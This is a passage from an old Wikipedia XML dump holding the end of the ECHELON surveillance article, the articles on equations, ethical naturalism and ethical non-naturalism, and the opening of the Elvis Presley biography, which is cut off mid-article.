It has been alleged that in [[2002]] the [[George W. Bush administration|Bush Administration]] extended the ECHELON program to [[NSA warrantless surveillance controversy|domestic surveillance]].  This controversy was the subject of the [[New York Times]] eavesdropping exposé of [[December]], [[2005]]. [http://www.nytimes.com/2005/12/16/politics/16program.html] [http://www.theregister.co.uk/2005/12/16/echelon_in_your_backyard] [http://www.redstate.org/story/2005/12/22/124426/39] [http://www.niagarafallsreporter.com/hanchette185.html]. Testimony by CIA director [[George Tenet]] during the late 1990s indicated that the use of ECHELON during the Clinton administration was authorized by the [[FISA Court]], as required by law [http://thinkprogress.org/2005/12/20/the-echelon-myth/].

==Organization==

The members of the [[English language|English-speaking]] alliance are part of the [[UKUSA]] intelligence alliance that has maintained ties in collecting and sharing intelligence since [[World War II]]. Various sources claim that these states have positioned electronic-intercept stations and space satellites to capture most [[radio]], [[satellite]], [[microwave]], [[mobile phone|cellular]] and [[fiber-optic]] communications traffic. The captured signals are then processed through a series of [[supercomputer]]s, known as ''dictionaries'', that are programmed to search each communication for targeted addresses, words, phrases or even individual voices. 

Each member of the UKUSA alliance is assigned responsibilities for monitoring different parts of the globe. [[Canada|Canada's]] main task used to be monitoring northern portions of the former [[Soviet Union]] and conducting sweeps of all communications traffic that could be picked up from [[embassy|embassies]] around the world. In the post-[[Cold War]] era, a greater emphasis has been placed on monitoring satellite, radio and cellphone traffic originating from [[Central America|Central]] and [[South America]], primarily in an effort to track drugs and non-aligned paramilitary groups in the region. The [[United States]], with its vast array of spy satellites and listening posts, monitors most of [[Latin America]], [[Asia]], Asiatic [[Russia]] and northern [[China]]. Britain listens in on [[Europe]] and [[Russia]] west of the [[Urals]] as well as [[Africa]]. [[Australia]] hunts for communications originating in [[Indochina]], [[Indonesia]] and southern [[China]]. [[New Zealand]] sweeps the western [[Pacific ocean|Pacific]].

Supporters stress that ECHELON is simply a method of sorting captured signals and is just one of the many arrows in the intelligence community's quiver, along with increasingly sophisticated [[bugging]] and [[communications interception]] techniques, satellite tracking, through-clothing scanning, automated biometric recognition systems that can recognize faces, fingerprints &amp; [[retina]] patterns.

The U.S. [[National Security Agency]], with headquarters at [[Fort Meade]] just outside [[Washington, DC]], has a global staff of 38,000 and a budget estimated at more than US$3.6-billion. The UK equivalent organisation is the Government Communications Headquarters [[GCHQ]] based near Cheltenham. Further, smaller organisations exist to provide communications technology and expertise (e.g. Her Majesty's Government Communication Centre [[HMGCC]]).

By comparison, [[Canada]]'s communications-intelligence operations are conducted by the [[Communications Security Establishment]] (CSE), a branch of the Canadian [[Department of National Defence (Canada)|Department of National Defence]]. It has a staff of 890 people and an annual budget of $110-million (Cdn). The CSE's headquarters is the Sir [[Samuel Leonard Tilley|Leonard Tilley]] Building on Heron Road in the nation's capital of [[Ottawa]], [[Ontario]], and its main communications intercept site is located on an old armed-forces radio base in [[Leitrim, Ontario|Leitrim]], just south of Ottawa. 

UKUSA member nations Australia and New Zealand have already confirmed that ECHELON exists (though not specifying any details of its capabilities or operations), and the Netherlands (which isn't an ECHELON participant) have also confirmed the spynet's existence (through a parliamentary hearing). Furthermore, former [[CIA]] Director [[R. James Woolsey]] has admitted using the system to uncover information about foreign companies using [[bribery|bribes]] to win contracts. The information was passed on to US companies and foreign governments were pressed to stop the bribes. Media coverage of a couple of such events tended to give the impression that ECHELON was being used to give the trade secrets of foreign companies to US companies. European aerospace company [[Airbus]] lost a $6 billion contract with Saudi Arabia after the NSA reported that Airbus officials had been bribing Saudi officials to secure the contract [http://news.bbc.co.uk/1/hi/world/europe/820758.stm]. 

==Limits==

The limits of a large system such as ECHELON are defined by its very size. Though the system intercepts 3 billion communications daily, clients must know which intercepted communications to monitor before they can realize an intelligence advantage. For example, in the months before the [[September 11 attacks]] on the United States, [[signal intelligence]] produced by ECHELON developed considerable &quot;chatter&quot;, or snippets of dialogue, that suggested some sort of attack was imminent. Analysts were unable to pin down the details of the attack, though, because operatives planning the attack relied largely on non-electronic communications. Even overt signals, such as a dramatic increase in trading activity of [[stock options]] on companies that were to be damaged in the attacks, failed to alert analysts, apparently because they did not know where within the daily deluge of electronic messages to look, much less how to connect the dots pointing to a specific attack.

==Hardware==

An [http://www.techworld.com/storage/news/index.cfm?NewsID=2430 article] by Chris Mellor claims that ECHELON is built by [[Raytheon]], [[Lockheed Martin]],  and [[Zeta Associates]]. [[Margaret Newsham]] [http://www.agitprop.org.au/stopnato/20000221echelbladn.htm claims] that she designed the software for the system at [[Lockheed Martin]] in [[Sunnyvale, California|Sunnyvale]], [[California]], under the code name ''P415''. The two main programs are called SILKWORTH and SIRE.

==Ground stations==
Some of the known or suspected ground stations belonging to or participating in the ECHELON network include the following:

===The largest and best-attested ground stations===
* [[Fort Meade]] ([[Maryland]], US) (headquarters of [[NSA]])
* [[Geraldton, Western Australia|Geraldton]] ([[Western Australia]], Australia)
* [[Menwith Hill]] ([[Yorkshire]], UK)
* [[Misawa Air Base]] ([[Japan]])
* [[GCHQ CSO Morwenstow|Morwenstow]] ([[Cornwall]], UK) 
* [[Pine Gap]] ([[Northern Territory]], Australia - close to [[Alice Springs]])
* [[Sabana Seca]] ([[Puerto Rico]] - US)
* [[Shoal Bay]] ([[Northern Territory]], Australia) 
* [[Sugar Grove, West Virginia|Sugar Grove]] ([[West Virginia]], USA) 
* [[Yakima]] ([[Washington]], US) [http://maps.google.com/?ll=46.68209,-120.356544&amp;spn=0.003077,0.007317&amp;t=k Map]
* [[Waihopai]] (New Zealand)
* [[West Cape, Western Australia]] ([[Exmouth Gulf]], Australia - US)

===Various other ground stations===
The following are various intelligence gathering stations of US intelligence agencies and armed forces or their allies.

* [[Alert]] ([[Ellesmere Island]], [[Nunavut]], Canada)
* [[Ayios Nikolaos (Cyprus)|Agios Nikolaos]] ([[Cyprus]] - UK)
* [[Bremerhaven]] ([[Germany]] - UK)
* [[Buckley Air Force Base]] ([[Colorado]], US)
* [[Chicksands]] ([[Bedfordshire]], UK)
* [[Diego Garcia]] ([[Indian Ocean]] - US-UK)
* [[Digby]] ([[Lincolnshire]], UK)
* [[Elmendorf Air Force Base]] ([[Alaska]] - US)
* [[Feltwell]] ([[Norfolk]], UK)
* [[Fort Gordon]] ([[Georgia (U.S. state)|Georgia]], US)
* [[Gander]] ([[Newfoundland and Labrador]], Canada)
* [[Gibraltar]] (UK)
* [[Griesheim]] ([[Germany]] - US)
* [[Guam]] ([[Pacific Ocean]], US)
* [[Karamursel]] ([[Turkey]] - US)
* [[Kunia]] ([[Hawaii]], US)
* [[Leitrim, Canada|Leitrim]] (south of [[Ottawa]], Canada)
* [[Malta]] ([[Malta]] - UK)
* [[Masset]] ([[British Columbia]], Canada)
* [[Medina Annex]] ([[Texas]], US)
* [[Osan]] Air Base ([[South Korea]], US)
* [[Rota, Spain]] ([[Spain]] - US)
* [[Silvermine]] (near [[Cape Town]], [[South Africa]] - US)
* [[scampton]]

===Former ground stations===
* [[Augsburg]] ([[Germany]] - US) - closed in 1993
* [[Bad Aibling]] ([[Germany]] - US) - closed in 2004
* [[Clark Air Base]] ([[Philippines]] - US) - closed in 1997
* [[Edzell]] ([[Scotland]], UK) - closed in 1997
* [[Kabkan]] ([[Iran]] - US) - closed in 1979
* [[Little Sai Wan]] ([[Hong Kong]] - UK) - closed in 1984
* [[Nurrungar]] ([[South Australia]], Australia - south of [[Woomera, South Australia]]) - closed in 1999
* [[San Vito dei Normanni]] ([[Italy]] - US) - closed in 1994
* [[Teufelsberg]] ([[West Berlin]], [[Germany]] - US) - closed in 1989

==See also==
* [[Carnivore (FBI)|Carnivore]]
* [[Communications Assistance for Law Enforcement Act|CALEA]] ''to make clear a telecommunications carrier's duty to cooperate in the interception of communications for Law Enforcement purposes, and for other purposes''
* [[Counterintelligence Field Activity]] is a US Department of Defense (DoD) agency that has legal authority to spy on Americans.
* [[PROMIS strategic computer system]]
* [[Project MINARET]]
* [[Onyx (interception system)]], the Swiss &quot;Echelon&quot; equivalent
* [[ANCHORY]] [[SIGINT]] intercept database
* [[COINTELPRO]]
* [[Text mining]]
* [[Mass surveillance]]
* [[Right to privacy]]
* [[Frenchelon]]
* [[High Frequency Active Auroral Research Program]]

==Further reading==
* Hager, Nicky; ''Secret Power, New Zealand's Role in the International Spy Network''; Craig Potton Publishing, Nelson, NZ; ISBN 0908802358; 1996

* Keefe, Patrick Radden ''Chatter: dispatches from the secret world of global eavesdropping''; Random House Publishing, New York, NY; ISBN 1400060346; 2005

*Michael Barker. [http://www.thechangeagency.org/resources/resources/socact/Barker2005_Online_privacy.pdf Online privacy? Surveillance of social movements on the Internet], [http://www.thechangeagency.org/resources_socact.htm The Change Agency], November 2005.

==Sources==
{{Commons|Category:Echelon}}
*[http://www.fas.org/irp/program/process/echelon.htm Overview]
*[http://www.fas.org/irp/program/process/docs/98-14-01-2en.pdf Development of Surveillance Technology &amp; Risk of Abuse of Economic Information | PDF]
*[http://www.fas.org/irp/program/process/rapport_echelon_en.pdf European Parliament report on ECHELON | (PDF)]
*[http://www.bernal.co.uk/capitulo3.htm Big Brother Capabilities in an Online World. State Surveillance in the Internet (academic research), by Francisco J. Bernal]
*[http://fly.hiwaay.net/~pspoole/echelon.html Report to the US Congress about ECHELON, by Patrick S. Poole]
*[http://fly.hiwaay.net/~pspoole/echres.html Echelon Research Resources, by Patrick S. Poole]
*[http://www.globalsecurity.org/intell/systems/echelon.htm GlobalSecurity.org's page on ECHELON]
*[http://www.aclu.org/echelonwatch/faq.html FAQ from ACLU (American Civil Liberties Union about ECHELON)] ---broken 20-09-05
*[http://cryptome.org/echelon2-arch.htm Cryptome article reporting claimed interview with 'architect of ECHELON II']
*[http://www.hermetic.ch/crypto/echelon/echelon.htm The NSA's ECHELON System]
*[http://www.echelonwatch.org/ Echelon Watch]
*[http://echelononline.free.fr/documents/dc/inside_echelon.htm Inside Echelon: The history, structure and function of the global surveillance system known as Echelon (comprehensive article)]
*[http://www.guardian.co.uk/alqaida/story/0,12469,911860,00.html &quot;How mobile phones and an £18m bribe trapped 9/11 mastermind&quot;], [[The Guardian]], [[March 11]] [[2003]] 
*[http://www.bimbel.de/artikel/artikel-4.html Pictures of Radomes used for Echelon in Griesheim - Germany]
*[http://world-information.org/wio/infostructure/100437611746 World Infostructure - ECHELON]
*[http://www.theregister.co.uk/2001/06/11/us_expands_echelon_spying/ US expands Echelon spying in UK]
*[http://mailman.lbo-talk.org/1999/1999-January/000303.html translation of LE MONDE DIPLOMATIQUE - January 1999 article TOP SECRET SURVEILLANCE SYSTEM : How the United States spies on us all  - by PHILIPPE RIVIERE]
*[http://cyberdelix.net/parvati/6929.html Inside Echelon - The history, structure und function of the global surveillance system known as Echelon by Duncan Campbell   25.07.2000] [http://www.globalpolicy.org/globaliz/law/infotech/echelon.htm same article here at Global Policy] [http://www.heise.de/tp/r4/artikel/6/6929/1.html and here at Heise.de]
*[http://www.burojansen.nl/crypto/english/1.html Sources about echelon including &quot;STOA, An appraisal of technologies of political control, Interim study, Luxemburg [[19 January]] [[1998]].&quot;]
*[http://www.staff.ncl.ac.uk/d.f.j.wood/thesis_files/6.pdf PDF file titled &quot;Chapter six: Politics, Parapolitics, and the State&quot;]
*[http://www.fas.org/irp/offdocs/eo12139.htm Executive Order 12139 on [[23 May]] [[1979]]] &quot;the Attorney General is authorized to approve electronic surveillance to acquire foreign intelligence information without a court order&quot;
*Michael Barker. [http://www.thechangeagency.org/resources/resources/socact/Barker2005_Online_privacy.pdf Online privacy? Surveillance of social movements on the Internet], [http://www.thechangeagency.org/resources_socact.htm The Change Agency], November 2005. 
* Kurt Nimmo. [http://kurtnimmo.com/?p=169 NSA snoop story: Tell me something I don’t already know], ''Another Day in the Empire'', [[December 24]] [[2005]].

[[Category:National Security Agency]]
[[Category:Government databases in the United States]]
[[Category:Espionage]]
[[Category:Data collection]]
[[Category:Security]]
[[Category:State security]]

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    </revision>
  </page>
  <page>
    <title>Equation</title>
    <id>9284</id>
    <revision>
      <id>39571520</id>
      <timestamp>2006-02-14T10:22:54Z</timestamp>
      <contributor>
        <username>Unfinishedchaos</username>
        <id>294794</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about equations in mathematics. For the chemistry term, see [[chemical equation]].''

An '''equation''' is a [[mathematics|mathematical]] statement, in [[table of mathematical symbols|symbols]], that two things are [[equality (mathematics)|the same]]. Equations are written with the [[equals sign]], as in
:2 + 3 = 5.
Equations are often used to state the equality of two [[expression (mathematics)|expressions]] containing one or more [[variable]]s. For example, given any value of ''x'', it is always true that
:''x'' &amp;minus; ''x'' = 0.
The two equations above are examples of [[identity (mathematics)|identities]]: equations that are [[true (logic)|true]] regardless of the values of any variables that appear within them. The following equation is not an identity:
:''x'' + 1 = 2.
The above equation is false for an infinite number of values of ''x'', except the unique [[root (mathematics)|root]] of the equation, '''x=1'''. Therefore, if the equation is known to be true, it carries information about the value of ''x''. In general, the values of the variables for which the equation is true are called ''solutions''. To [[equation solving|solve an equation]] means to find its solutions.

Many authors reserve the term '''equation''' for an equality which is not an identity. The distinction between the two concepts can be subtle; for example,
:(''x'' + 1)&lt;sup&gt;2&lt;/sup&gt; = ''x''&lt;sup&gt;2&lt;/sup&gt; + 2''x'' + 1
is an identity, while
:(''x'' + 1)&lt;sup&gt;2&lt;/sup&gt; = 2''x''&lt;sup&gt;2&lt;/sup&gt; + ''x'' + 1
is an equation, whose roots are ''x=0 and x=1''. Whether a statement is meant to be an identity or an equation, carrying information about its variables can usually be determined from its context.

Letters from the beginning of the alphabet like ''a'', ''b'', ''c'', ... are often considered [[constant]]s in the context of the discussion at hand, while letters from end of the alphabet, like ''x'', ''y'', ''z'', are usually considered variables.

==Properties==
If an equation in [[elementary algebra|algebra]] is known to be true, the following operations may be used to produce another true equation:

# Any quantity can be [[addition|added]] to both sides.
# Any quantity can be [[subtraction|subtracted]] from both sides.
# Any quantity can be [[multiplication|multiplied]] to both sides.
# Any nonzero quantity can [[division (mathematics)|divide]] both sides.
# Generally, any [[function (mathematics)|function]] can be applied to both sides.

The algebraic properties (1-4) imply that equality is a [[congruence relation]] for a [[field (mathematics)|field]]; in fact, it is essentially the only one.

The most well known system of numbers which allows all of these operations is the [[real numbers]], which is an example of a [[field (mathematics)|field]].  However, if the equation were based on the [[natural number]]s for example, some of these operations (like division and subtraction) may not be valid as negative numbers and non-[[whole numbers]] are not allowed.  The [[integers]] are an example of an [[integral domain]] which does not allow all divisions as, again, whole numbers are needed.  However, subtraction is allowed, and is the [[inverse operator]] in that system.

If a function that is not [[injective]] is applied to both sides of a true equation, the resulting equation will still be true, but it may be less useful. Formally, one has an [[Logical conditional|implication]], not an [[Logical biconditional|equivalence]], so the solution set may get larger. The functions implied in properties (1), (2), and (4) are always injective, as is (3) if we do not multiply by [[0 (number)|zero]]. Some generalized [[Product (mathematics)|products]], such as a [[dot product]], are never injective.

== See also ==
*[[Inequation]]
*[[Inequality]]
*[[Linear equation]]
*[[Quadratic equation]]
*[[Cubic equation]]
*[[Quartic equation]]
*[[Quintic equation]]
*[[Differential equation]]
*[[Integral equation]]
*[[Functional equation]]
*[[Diophantine equation]]
*[[List of equations]]
*[[Theory of equations]]

== External links ==
* Free Online Equation Interpreter and Plotter: [http://www.wessa.net/math.wasp ''Mathematical Equation Plotter'']. Plots 2D mathematical equations, computes integrals, and finds solutions.
* Solve 2D equations graphically and numerically: [http://deadline.3x.ro ''DeadLine'']. Free Windows software.
* [http://eqworld.ipmnet.ru/en/solutions/ae.htm Algebraic Equations and Systems of Algebraic Equations] at EqWorld: The World of Mathematical Equations.

[[Category:Elementary algebra]]
[[Category:Equations]]

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[[da:Ligning]]
[[de:Gleichung]]
[[es:Ecuación]]
[[eo:Ekvacio]]
[[fa:معادله]]
[[fr:Équation]]
[[ko:방정식]]
[[io:Equaciono]]
[[it:Equazione]]
[[he:משוואה]]
[[hu:Egyenlet]]
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[[zh:方程]]</text>
    </revision>
  </page>
  <page>
    <title>Ethical naturalism</title>
    <id>9285</id>
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      <id>41339736</id>
      <timestamp>2006-02-26T18:26:40Z</timestamp>
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        <ip>67.78.216.40</ip>
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      <comment>/* Examination of definition */</comment>
      <text xml:space="preserve">'''Naturalism''', sometimes also called '''definism''', is a theory in [[meta-ethics]] that holds that ethical terms can be [[definition|defined]]; the meaning of [[ethics|ethical]] sentences can be given in totally non-ethical terms.  So to the question, &quot;Can the meaning of ethical sentences be restated in other words that do not use [[norm (philosophy)|normative]] concepts like 'good' and 'right'?&quot; the naturalist answers, &quot;Definitely.&quot;  On the naturalist's view, ultimately, [[goodness and value theory|goodness]] and right are ''natural properties''--they are ultimately [[properties]] of things that can be located in the [[natural]] [[world]]. The opposite view, [[ethical non-naturalism]], was famously defended by [[G. E. Moore]].

We might give a more detailed definition, in terms of [[proposition]]s and [[reduction]], that, in generalities, expresses the general understanding of the term:

:''Naturalism'' is the view that ethical sentences express propositions and that they can be reduced to nonethical sentences.

==Examination of definition==
The first part of the defintion, &quot;that ethical sentences express propositions&quot; expresses a view called [[Cognitivism (ethics)|cognitivism]].

 ethical naturalism combines cognitivism with [[moral reductionism]]&amp;mdash;the idea that ethical sentences &quot;can be reduced to nonethical sentences&quot;. Thus, this theory holds that the meaning of ethical statements can be expressed without using ethical terms such as &quot;good&quot; and &quot;right&quot;. In this way, ethical statements become a kind of shorthand, or useful abbreviation, for claims about what are ultimately nonethical facts about human needs or desires.

==Theory of value==
The [[value theory|theory of value]] &amp;mdash; an important branch of [[ethics]] &amp;mdash; contains a number of theories of what &quot;good&quot; means or, construed differently, what general sorts of things are good.  One could look at the theory of value as a way of determining how to reduce goodness to nonethical properties, for there are many examples of such reductions in value theory.  [[Hedonism]], for example, is the view that goodness is ultimately just [[pleasure]].  It should be noted, however, that not all philosophers working on value theory would view their theories as ''reductions''.

[[Category:Ethics]]
[[fi:Eettinen naturalismi]]</text>
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  </page>
  <page>
    <title>Ethical non-naturalism</title>
    <id>9286</id>
    <revision>
      <id>39108442</id>
      <timestamp>2006-02-10T19:51:31Z</timestamp>
      <contributor>
        <ip>83.121.9.50</ip>
      </contributor>
      <comment>disambiguation from [[Faculty]] to [[Ability]]</comment>
      <text xml:space="preserve">{{attention}}
&lt;!-- ''The following started as a portion of [[User:Larry Sanger/Larry's Text|Larry's Text]], which consists of lectures given by Wikipedia co-founder [[Larry Sanger]] in courses that he taught at [[Ohio State University]].  Wikification and NPOVing are invited.'' --&gt;

'''Ethical non-naturalism''' is a [[philosophy|philosophical]] position that asserts that [[ethics|ethical]] statements express [[proposition]]s that cannot be reduced to non-ethical statements. 

==Definitions and examples==
[[Ethical naturalism]] and non-naturalism are subcategories of [[Cognitivism (ethics)|cognitivism]], which holds that ethical statements express propositions. Naturalism is the view that such statements can be further [[reduction|reduced]] to non-ethical statements; non-naturalism is the view that they cannot.

According to [[G. E. Moore]], &quot;[[goodness and value theory|Goodness]] is a simple, undefinable, non-natural [[property (philosophy)|property]].&quot; To call goodness &quot;non-natural&quot; does not mean that it is [[supernatural]] or [[God|divine]]. It does mean, however, that goodness cannot be reduced to natural properties such as needs, wants or pleasures. Moore also stated that a reduction of ethical properties to a divine command would be the same as stating their naturalness. This would be an example of what he referred to as &quot;the [[naturalistic fallacy]].&quot;

Moore claimed that goodness is &quot;[[definition|indefinable]],&quot; i.e., it cannot be defined in any other terms. This is the central claim of non-naturalism. Thus, the meaning of sentences containing the word &quot;good&quot; cannot be explained entirely in terms of sentences not containing the word &quot;good.&quot; One cannot substitute words referring to [[pleasure]], needs or anything else in place of &quot;good.&quot;

Some properties, such as hardness, roundness and dampness, are clearly natural properties. We encounter them in the real world and can [[perception|perceive]] them. On the other hand, other properties, such as being good and being right, are not so obvious. A great novel is considered to be a good thing; goodness may be said to be a property of that novel. Paying one's debts and telling the truth are generally held to be right things to do; rightness may be said to be a property of certain human [[action theory|action]]s.

However, these two types of property are quite different. Those natural properties, such as hardness and roundness, can be perceived and encountered in the real world. On the other hand, it is not immediately clear how to physically see, touch or measure the goodness of a novel or the rightness of an action.

==A difficult question==
Moore did not consider goodness and rightness to be natural properties, i.e., they cannot be defined in terms of any natural properties. How, then, can we know that anything is good and how can we distinguish good from bad? 

Moral epistemology, the part of epistemology (and/or ethics) that studies how we know moral facts and how moral beliefs are justified, has proposed an answer. British epistemologists, following Moore, suggested that humans have a special [[Ability|faculty]], a faculty of moral [[intuition]], which tells us what is good and bad, right and wrong. 

Moral [[intuitionism|intuitionists]] assert that, if we see a good person or a right action, and our faculty of moral intuition is sufficiently developed and unimpaired, we simply intuit that the person is good or that the action is right. Moral intuition is supposed to be a mental process different from other, more familiar faculties like sense-perception, and that moral judgments are its outputs. When someone judges something to be good, or some action to be right, then the person is using the faculty of moral intuition. The faculty is attuned to those non-natural properties. Perhaps the best ordinary notion that approximates moral intuition would be the idea of a [[conscience]].

==Another argument for non-naturalism==
Moore also introduced what is called the [[open question argument]], a position he later rejected. 

Suppose a definition of &quot;good&quot; is &quot;pleasure-causing.&quot; In other words, if something is good, it causes pleasure; if it causes pleasure, then it is, by definition, good. Moore asserted, however, that we could always ask, &quot;But are pleasure-causing things good?&quot; This would always be an [[open question]]. There is no foregone conclusion that, indeed, pleasure-causing things are good. 
In his initial argument, Moore concluded that any similar definition of goodness could be criticized in the same way. 


[[Category:Ethics]]</text>
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  <page>
    <title>Elvis Presley</title>
    <id>9288</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42098346</id>
      <timestamp>2006-03-03T20:42:14Z</timestamp>
      <contributor>
        <ip>200.30.130.19</ip>
      </contributor>
      <comment>/* Voice characteristics */</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''&quot;Elvis&quot; redirects here. For other persons and things named Elvis, see [[Elvis (disambiguation)]]''.&lt;/span&gt;
{{Infobox Celebrity |
  name = Elvis Presley |
  image = ElvisPresley-OneNight.jpg |
  caption = Elvis Presley's ''One Night Only'' |
  birth_date = [[January 8]], [[1935]] |
  birth_place = [[Tupelo, Mississippi]], [[USA]] |
  death_date = [[August 16]], [[1977]] |
  death_place = [[Memphis, Tennessee]], [[USA]] |
  occupation = [[Singer]], song producer and [[actor]]
|}}
&lt;!-- Please see Trivia section for details on Elvis' middle name. If you dispute the factuality of that section and his middle name, please discuss it on the talk page before making changes to the article. --&gt;

'''Elvis Aaron Presley''' ([[January 8]], [[1935]] – [[August 16]], [[1977]]), also known as '''&quot;The King of Rock 'n' Roll&quot;''' was an [[United States|American]] [[singer]], song producer and [[actor]].

Elvis remains a popular and enigmatic star and his legend has only grown stronger since his early death at age 42. During an active recording career that spanned more than two decades, Presley set and broke many records for both concert attendance and sales. Some of those records have since been matched and/or broken by other artists, but some of his records will probably remain unbroken and/or unmatched forever. He has had more than 120 singles in the US top 40, across various musical genres, with over 20 reaching number one. Elvis' ongoing worldwide popularity has culminated in his global sales reaching an estimated one billion records to date[http://www.elvis.com/elvisology/elvis_overview.asp].


==An American Phenomenon==
According to ''Rolling Stone'' magazine &quot;it was Elvis who made rock 'n' roll the international language of pop.&quot; A [[PBS]] documentary once described Presley as &quot;an American music giant of the 20th century who singlehandedly changed the course of music and culture in the mid-1950s.&quot; [http://www.pbs.org/americanrootsmusic/pbs_arm_saa_elvispresley.html]. His recordings, dance moves, attitude and clothing came to be seen as embodiments of rock and roll. His music was heavily influenced by African-Americans who could not gain national attention because of their race. Presley sang both hard driving [[Rockabilly|rockabilly]] and [[Rock and Roll|rock and roll]] dance songs and [[ballad]]s, laying a commercial foundation upon which other rock and roll musicians would build. [[African American|African-American]] performers like [[Little Richard]] and [[Chuck Berry]] came to national prominence after Presley's acceptance among mass audiences of [[White race|white]] teenagers, even though his music was strongly influenced by some of those same African-American musicians. Singers like [[Jerry Lee Lewis]], the [[Everly Brothers]], [[Buddy Holly]], [[Roy Orbison]] and others immediately followed in his wake, leading [[John Lennon]] to observe later, &quot;Before Elvis, there was nothing.&quot;

[[Image:Elvis-MississippiAlabamaFair1956.jpg|thumb|300px|Elvis Presley at the Mississippi-Alabama State Fair, 1956]]
Teenagers came to Presley's concerts in unprecedented numbers. When he performed at the Mississippi-Alabama Fair in 1956 a hundred [[United States National Guard|National Guard]]smen surrounded the stage to control crowds of excited fans. When municipal politicians began denying permits for Presley appearances teens piled into cars and traveled elsewhere to see him perform. It seemed as if the more adults tried to stop it, the more teenagers across North America insisted on having what they wanted. When adult programmers announced they would not play Presley's music on their radio stations (some because [[God]] told them it was sexually suggestive [[Devil]] music, others saying it was Southern &quot;[[nigger]]&quot; music) the economic power of that generation became evident when they tuned in any radio station playing Elvis records. In an industry already shifting to all-music formats in reaction to [[television]], profit-conscious radio station owners learned hard lessons when sponsors bought advertising time on new rock and roll stations reaching enormous markets at night with  [[clear channel]] signals from [[Mediumwave|AM]] broadcasts.

During the 1950s post-[[World War II|WWII]] economic boom in the United States, many parents were able to give their teenaged children much higher weekly [[allowance]]s, signalling a shift in the buying power and purchasing habits of teens. During the 1940s [[Bobby soxer|bobby soxer]]s had idolized [[Frank Sinatra]] but the buyers of his records were mostly between the ages of eighteen and twenty-two. Presley triggered a juggernaut of demand for his records by near-teens and early teens aged ten and up. 

Presley's overwhelming appeal was to girls. Many boys adopted his look to attract them. Along with Elvis' ''[[ducktail]]'' haircut, the demand for black slacks and loose, open-necked shirts resulted in new lines of clothing for teenaged boys. In 1956 America, birthday and Christmas gifts were often music or even Elvis related. A girl might get a pink portable 45 rpm record player for her bedroom. Meanwhile American teenagers began buying newly available portable [[transistor radio]]s [http://www.medill.northwestern.edu/medill/inside/medill_voices/how_transistor_radios_and_web_and_newspapers_and_hifi_radio_are_alike.html] and listened to [[rock 'n' roll]] on them (helping to propel that fledgling industry from an estimated 100,000 units sold in 1955 to 5,000,000 units by the end of 1958). Teens were asserting more independence and Elvis Presley became a national symbol of their parents' consternation.

Presley's impact on the American youth consumer market was noted on the front page of ''[[The Wall Street Journal]]'' on December 31, 1956 when future [[Pulitzer Prize for National Reporting|Pulitzer Prize]]-winning business journalist [[Louis M. Kohlmeier]] wrote, &quot;Elvis Presley today is a business,&quot; and reported on the singer's record and merchandise sales (this may have been the first time a journalist described an entertainer as a business). Half a century later, historian Ian Brailsford ([[University of Auckland]], [[New Zealand]]) commented, &quot;The phenomenal success of Elvis Presley in 1956 convinced many doubters of the financial opportunities existing in the youth market.&quot; [http://www.kingston.ac.uk/cusp/Lectures/Brailsfordpaper.doc]

===Birth &amp; Childhood===
Elvis Aron Presley was born in a two-room house in [[Tupelo, Mississippi|East Tupelo]], [[Mississippi]] to Vernon Elvis Presley and [[Gladys Love Smith]].  His twin brother, Jesse Garon, was [[stillbirth|stillborn]]. Elvis was given the middle name of Aron, with only one A, so he would always be a part of his brother Jesse Garon. Aron/Garon.  The surname Presley was Anglicized from the German Pressler during the Civil War. His ancestor Johann Valentin Pressler emigrated to North America in 1710. Pressler first settled in New York, but later moved to the South. He was of mostly [[Scottish people|Scottish]] [http://news.bbc.co.uk/1/hi/scotland/3559331.stm] and [[English people|English]] descent; the family also has [[Native American]], [[German people|German]], [[South African]] and [[Jewish Americans|Jewish]] (from a great-grandmother of Gladys) roots.

Elvis Presley was raised both in East Tupelo and later in Memphis, Tennessee, where his family moved when he was 13.  In 1949 the family moved to Lauderdale Courts public housing development which was near musical and cultural influences like Beale Street, Ellis Auditorium and the Popular Tunes record store along with the Sun Studio about a mile away. 

Elvis took up the guitar and practiced in the basement laundry room at Lauderdale Courts. He played gigs in the malls and courtyards of the Courts with other musicians who lived there. After high school he worked at Precision Tool Company, then drove a truck for the Crown Electric Company.

===The Sun recordings===
{{main|Elvis Presley's Sun recordings}}
In the summer of [[1953]], Presley paid $4 to record the first of two double-sided demo [[Cellulose acetate|acetate]]s at [[Sun Records|Sun Studios]], &quot;My Happiness&quot; and &quot;That's When Your Heartaches Begin&quot; which were popular [[ballad]]s at the time. According to the official Presley website, Elvis reportedly gave it to his mother as a much-belated birthday present. [[Sun Records]] founder [[Sam Phillips]] and assistant Marion Keisker heard the discs and called him in June [[1954 in music|1954]] to fill in for a missing ballad singer. Although that session was not productive, Sam Phillips put Elvis together with local musicians [[Scotty Moore]] and [[Bill Black]] to see what might develop. During a rehearsal break on [[July 5]], [[1954]], Elvis began singing a [[blues]] song written by [[Arthur Crudup]] called &quot;[[That's All Right]]&quot;. Phillips liked the resulting record and released it as a 78RPM single backed with Elvis' hopped-up version of [[Bill Monroe]]'s [[Bluegrass music|bluegrass]] song &quot;[[Blue Moon Of Kentucky]].&quot; Memphis radio station [[WHBQ]] began airing it two days later, the record became a local hit and Elvis began a regular touring schedule which expanded his fame beyond Tennessee.

[[Country music]] star [[Hank Snow]] arranged to have Presley perform at [[Nashville|Nashville's]] ''[[Grand Ole Opry]]'' and his performance was received well by the audience. Nonetheless, one of the show's executives was far from impressed and hinted that Presley should give up his music. However, since that time many singers ([[Garth Brooks]] among them) have commented that one of the greatest thrills of playing the Opry is that they played on the same stage as Presley.

He continued to tour the [[U.S. South]]. On [[October 16]], [[1954]], he made his first appearance on ''[[Louisiana Hayride]]'', a radio broadcast of live country music in [[Shreveport, Louisiana]] and was a hit with the large audience. Following this, Presley was signed to a one-year contract for a weekly performance during which time he was introduced to [[Colonel Tom Parker]]. This helped sales of his records as his releases began to reach the top of the country charts.

===The management of Colonel Tom Parker===
